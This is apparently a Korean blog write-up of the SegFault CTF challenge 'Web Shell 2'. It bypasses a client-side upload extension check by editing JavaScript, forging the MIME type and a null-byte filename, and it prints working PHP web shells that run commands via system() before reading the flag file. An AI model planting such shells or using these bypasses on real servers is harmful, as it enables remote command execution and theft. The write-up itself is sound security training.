Wargame & CTF/SegFault

[SegFault] (File Vuln) - Web Shell 2

Gearvirus(junyup2) 2024. 2. 8. 23:45

[SegFault] (File Vuln)

Web Shell 2

Web μ„œλ²„ λ‚΄μ—μ„œ flag.txt νŒŒμΌμ„ 찾아내라!

문제 νŒŒμ•…

λ³Έ λ¬Έμ œλŠ” File Vulnerability에 κ΄€ν•œ λ¬Έμ œλ‘œμ„œ, 'Server Side Script' File, 즉 μ›Ή μ‰˜(Web Shell)을 Upload ν•˜κ³ , ν•΄λ‹Ή μ›Ή μ‰˜μ˜ μ—…λ‘œλ“œ μœ„μΉ˜λ₯Ό μ°Ύμ•„ μ‹€ν–‰ μ‹œμΌœ flag.txt νŒŒμΌμ„ μ°ΎλŠ” λ¬Έμ œμ΄λ‹€.

 

Vuln Point

κ²Œμ‹œνŒμ˜ κΈ€μ“°κΈ° κΈ°λŠ₯μ—μ„œ 파일 μ—…λ‘œλ“œ μ‹œμ— javascriptμ—μ„œ ν™”μ΄νŠΈλ¦¬μŠ€νŠΈ 방식을 μ΄μš©ν•˜μ—¬ ν™•μž₯자의 μ œν•œμ„ 두고 μžˆλŠ” 것을 확인할 수 μžˆλ‹€.

<script type="text/javascript">
		function checkFileExtension(fileName) {
  			var reg = /(.*?)\.(jpg|jpeg|png|gif|bmp|txt)$/;
			var allowedExtensions = /(\.jpg|\.jpeg|\.png|\.gif)$/i;

			if(fileName==""){return true;}
			if(!allowedExtensions.exec(fileName)) {
  				alert('μ—…λ‘œλ“œν•  수 μ—†λŠ” ν™•μž₯자의 νŒŒμΌμž…λ‹ˆλ‹€.');
  				writeFrm.upload_file.value = '';
  				return false;
			}else{
				return true;
		}		 
			return true;
		}
</script>

μœ„μ™€ 같이 ν—ˆμš©λœ ν™•μž₯자 μ΄μ™Έμ˜ ν™•μž₯자λ₯Ό 막고 μžˆλŠ” 것이닀. ν•˜μ§€λ§Œ javascript둜의 ν™•μž₯자 μ œν•œμ€ μš°νšŒκ°€ κ°€λŠ₯ν•˜λ‹€.


풀이 κ³Όμ • (ν•΄κ²° λ°©μ•ˆ)

ν•œμ€„ μ›Ή μ‰˜

기본적인 ν•œ 쀄 μ›Ήμ‰˜μ€ λ‹€μŒκ³Ό κ°™λ‹€.

<?php
echo system($_GET['cmd']);           
?>

μœ„μ™€ 같은 κ°„λ‹¨ν•œ μ›Ή μ‰˜μ„ μ‚¬μš©ν•˜λŠ” 것이 μΌλ°˜μ μ΄μ§€λ§Œ, λΈŒλΌμš°μ €μ—μ„œ ν…ŒμŠ€νŠΈν•˜κΈ° νŽΈν•˜λ„λ‘ μ•„λž˜μ™€ 같이 μˆ˜μ •ν•œ μ›Ή μ‰˜ μ½”λ“œλ₯Ό μ‚¬μš©ν•  것이닀.

 

μ‚¬μš©ν•œ μ›Ή μ‰˜ μ½”λ“œ

μ‚¬μš©ν•˜κΈ° νŽΈν•˜λ„λ‘ μˆ˜μ •ν•œ μ›Ή μ‰˜ μ½”λ“œμ΄λ‹€.

<?php
    echo 'Enter a Command:<br>';
    echo '<form action="" method="get">';
    echo '<input type="text" name="cmd">';
    echo '<input type="submit">';
    echo '</form>';
    
    if(isset($_GET['cmd'])){
        system($_GET['cmd']);
    }
?>

 

μ›Ή μ‰˜ μ—…λ‘œλ“œ

κ²Œμ‹œνŒμ˜ μ—…λ‘œλ“œ κΈ°λŠ₯μ—μ„œ ν™•μž₯자 검증이 이루어지고 μžˆμ–΄μ„œ  (.php) 파일의 μ—…λ‘œλ“œλŠ” λΆˆκ°€λŠ₯ν•˜λ‹€.

ν•˜μ§€λ§Œ 이것을 μš°νšŒν•˜λŠ” 방법이 μ‘΄μž¬ν•œλ‹€.

1. javascript μˆ˜μ •

μœ„μ˜ μ½”λ“œλ₯Ό 보면 ν—ˆμš©λœ ν™•μž₯자 μ΄μ™Έμ˜ ν™•μž₯자의 경우 falseλ₯Ό λ°˜ν™˜ν•΄μ£Όκ³ , ν—ˆμš©λœ ν™•μž₯μžμ— ν•œν•΄μ„œλ§Œ trueλ₯Ό λ°˜ν™˜ν•΄μ£Όκ³  μžˆλ‹€. 즉, trueκ°€ λ°˜ν™˜λ˜κΈ°λ§Œ ν•˜λ©΄ ν™•μž₯자 검증을 μš°νšŒν•  수 μžˆλ‹€λŠ” 것이닀.

1-2. λ°˜ν™˜ κ°’ μˆ˜μ •

if(!allowedExtensions.exec(fileName)) {
  	alert('μ—…λ‘œλ“œν•  수 μ—†λŠ” ν™•μž₯자의 νŒŒμΌμž…λ‹ˆλ‹€.');
  	writeFrm.upload_file.value = '';
  	return false;
}

μœ„μ˜ ν—ˆμš©λ˜μ§€ μ•Šμ€ ν™•μž₯자 λΆ€λΆ„μ—μ„œ falseλ₯Ό λ°˜ν™˜ν•΄μ£Όκ³  μžˆμ§€λ§Œ javascript μˆ˜μ •μ„ 톡해 λ‹€μŒκ³Ό 같이 λ°”κΏ”μ€€λ‹€λ©΄ μš°νšŒκ°€ κ°€λŠ₯ν•˜λ‹€.

if(!allowedExtensions.exec(fileName)) {
  	//alert('μ—…λ‘œλ“œν•  수 μ—†λŠ” ν™•μž₯자의 νŒŒμΌμž…λ‹ˆλ‹€.');
  	//writeFrm.upload_file.value = '';
  	return true;
}

ν—ˆμš©λ˜μ§€ μ•Šμ€ ν™•μž₯μžκ°€ 듀어와도 trueλ₯Ό λ°˜ν™˜ν•˜λ„λ‘ ν•˜λŠ” 것이닀.

 

1-2. javascript ν™•μž₯자 μΆ”κ°€

javascript의 ν—ˆμš©λœ ν™•μž₯자 뢀뢄에 μ›ν•˜λŠ” ν™•μž₯자λ₯Ό μΆ”κ°€ν•˜λŠ” 방법이 μžˆλ‹€.

var reg = /(.*?)\.(jpg|jpeg|png|gif|bmp|txt)$/;
var allowedExtensions = /(\.jpg|\.jpeg|\.png|\.gif)$/i;

μœ„μ™€ 같이 ν—ˆμš©λœ ν™•μž₯μžκ°€ μ œν•œλ˜μ–΄ μžˆλŠ” 것에 .phpλ₯Ό μΆ”κ°€ν•˜λ©΄ λœλ‹€.


2. MIME Type μˆ˜μ •

MIME (multipurpose internet mail extensions)
이미지 νŒŒμΌμ€ λ°”μ΄λ„ˆλ¦¬ κ°’μœΌλ‘œ 이루어져 μžˆμ–΄ ν…μŠ€νŠΈλ‘œ μΈμ½”λ”©ν•˜μ—¬ 보내야 데이터값을 주고받을 수 μžˆλ‹€.
κ·Έλž˜μ„œ 곡격을 μœ„ν•œ 파일 μ—…λ‘œλ“œλ₯Ό ν•  λ•Œ content-type을 맞게 μˆ˜μ •ν•΄μ•Ό ν•œλ‹€.

php 파일이 μ—…λ‘œλ“œ λ˜λŠ” 경우 Content-Type은 text/php라고 μ˜¬λΌκ°€κ²Œ λœλ‹€. 이것을 μˆ˜μ •ν•˜μ—¬ μ—…λ‘œλ“œκ°€ κ°€λŠ₯ν•œ image/png 와 같이 λ³€μ‘°ν•΄μ£ΌλŠ” 방법이 μžˆλ‹€.

 

3. ν™•μž₯자 속이기 NULL

NULL Byte ' %00 ' λ₯Ό μ΄μš©ν•˜λŠ” 방법이닀.

λ³Έ 문제의 ν™•μž₯자 검증은 파일λͺ…μ˜ λ§ˆμ§€λ§‰ .png 와 같은 ν™•μž₯자λ₯Ό μΈμ‹ν•˜κ²Œ λ˜μ–΄ μžˆλ‹€.

κ·ΈλŸ¬λ―€λ‘œ NULL Byteλ₯Ό μ΄μš©ν•˜λ©΄ μš°νšŒκ°€ κ°€λŠ₯ν•œ 것이닀.

web_shell.php%00.png

μœ„μ™€ 같이 NULL Byteλ₯Ό μ΄μš©ν•˜λ©΄ ν™•μž₯μžκ°€ .png 처럼 λ³΄μ΄μ§€λ§Œ μ‹€μ œλ‘œλŠ” %00값이 NULL 이기 λ•Œλ¬Έμ— κ·Έ 뒷뢀뢄이 λ‚ μ•„κ°€κ³  web_shell.php만 λ‚¨κ²Œ λ˜λŠ” 것이닀.

문제 ν•΄κ²°μ—λŠ” 이 방식을 μ‚¬μš©ν•  것이닀.


μ—…λ‘œλ“œ 파일 μœ„μΉ˜

μœ„μ˜ μ›Ή μ‰˜μ„ μ—…λ‘œλ“œ ν•œ ν›„, λ‹€μš΄λ‘œλ“œ 링크λ₯Ό ν™•μΈν•˜λ©΄ κ²½λ‘œλŠ” λ‹€μŒκ³Ό κ°™λ‹€.

http://ctf.segfaulthub.com:7979/webshell_2/web_shell.php%00.png

μ΄κ²ƒλ§Œ λ³΄κ³ λŠ” 경둜λ₯Ό μ•Œ μˆ˜κ°€ μ—†λŠ”λ°, λ””렉터리 인덱싱 취약점이 μ‘΄μž¬ν–ˆλ‹€.

Index of /webshell_2/files/gear/

이λ₯Ό μ΄μš©ν•˜μ—¬ μœ„μ™€κ°™μ€ κ²½λ‘œμ— 파일이 μ‘΄μž¬ν•˜λŠ” 것을 확인할 수 μžˆμ—ˆλ‹€.

 

μ›Ή μ‰˜ μ‹€ν–‰

http://ctf.segfaulthub.com:7979/webshell_2/files/gear/web_shell.php%00.png

NULL Byteλ₯Ό μ΄μš©ν•˜μ—¬ μ—…λ‘œλ“œμ‹œμ— 파일λͺ…을 μ†μ˜€κΈ° λ•Œλ¬Έμ— μœ„μ™€ 같이 μž…λ ₯ν•˜λ©΄ 파일이 μ—†λ‹€.

파일이 μ—…λ‘œλ“œ λ˜λ©΄μ„œ %00λ’€μ˜ .pngκ°€ %00(=NULL)κ³Ό ν•¨κ»˜ λ‚ μ•„κ°”κΈ° λ•Œλ¬Έμ— 파일λͺ…이 μ‹€μ œλ‘œλŠ” web_shell.phpκ°€ λ˜μ—ˆκΈ° λ•Œλ¬Έμ΄λ‹€.

κ·Έλ ‡κΈ° λ•Œλ¬Έμ— web_shell.php%00.png κ°€ μ•„λ‹ˆλΌ web_shell.php을 μž…λ ₯ν•΄μ€˜μ•Ό ν•œλ‹€.

http://ctf.segfaulthub.com:7979/webshell_2/files/gear/web_shell.php

μœ„μ™€ 같이 μž…λ ₯ν•˜λ©΄ μ„±κ³΅μ μœΌλ‘œ μ›Ή μ‰˜λ‘œμ˜ 접근이 κ°€λŠ₯ν•˜λ‹€.

 

flag μ°ΎκΈ°

μœ„μ˜ μ›Ή μ‰˜μ„ 톡해 flagλ₯Ό μ°Ύμ•„μ•Όν•œλ‹€.

dir ../../

μœ„μ™€ 같이 μž…λ ₯ν•˜μ—¬ μ–΄λ–€ 디렉터리듀이 μžˆλŠ”μ§€ 확인해본 κ²°κ³Ό  secret_file μ΄λΌλŠ” λ””렉토리가 λ³΄μΈλ‹€.

dir ../../secret_file

μœ„μ™€ 같이 μž…λ ₯ν•˜μ—¬ ν•΄λ‹Ή 디렉터리 λ‚΄λΆ€λ₯Ό 확인해본 κ²°κ³Ό flag.txt파일이 μ‘΄μž¬ν•˜λŠ” 것을 확인할 수 μžˆμ—ˆλ‹€.

λ‚΄μš©μ„ ν™•μΈν•˜κΈ° μœ„ν•΄ cat λͺ…λ Ήμ–΄λ₯Ό μ΄μš©ν•œλ‹€.

cat ../../secret_file/flag.txt

μœ„μ™€ 같이 μž…λ ₯ν•œ κ²°κ³Ό flagλ₯Ό νšλ“ν•  수 μžˆμ—ˆλ‹€.


생각해 λ³Ό 점

find λͺ…λ Ήμ–΄

find λͺ…λ Ήμ–΄λ₯Ό μ΄μš©ν•˜μ—¬ 찾을 μˆ˜λ„ μžˆμ—ˆκ² μ§€λ§Œ, ν•΄λ‹Ή λͺ…λ Ήμ–΄λ₯Ό μ΄μš©ν•˜λ €λ©΄ μ°ΎμœΌλ €λŠ” 파일의 이름을 ν™•μ‹€ν•˜κ²Œ μ•Œκ³  μžˆλŠ” κ²½μš°μ—λ§Œ κ°€λŠ₯ν•˜κΈ° λ•Œλ¬Έμ— 직접 μ°Ύμ•„λ³΄λŠ” 방식을 μ„ νƒν•˜μ˜€λ‹€.

find λͺ…λ Ήμ–΄λ₯Ό μ‚¬μš©ν•˜λŠ” κ²½μš°λŠ” λ‹€μŒκ³Ό κ°™λ‹€.

find / -name flag.txt

μ—…λ‘œλ“œ 우회

ν™•μž₯μžκ°€ μ œν•œλ˜μ–΄ μžˆμ„ λ•Œ μ—…λ‘œλ“œ κ°€λŠ₯ν•œ 방식에 λŒ€ν•˜μ—¬ μ—¬λŸ¬κ°€μ§€λ‘œ μ•Œμ•„λ΄μ•Ό, λ³Έ λ¬Έμ œμ™€ 같이 μ—…λ‘œλ“œκ°€ κ°€λŠ₯ν•˜λ‹€λŠ” 것을 인지해야 ν•œλ‹€.


질문 ν™˜μ˜, μˆ˜μ • 및 보완에 λŒ€ν•œ μ§€μ  ν™˜μ˜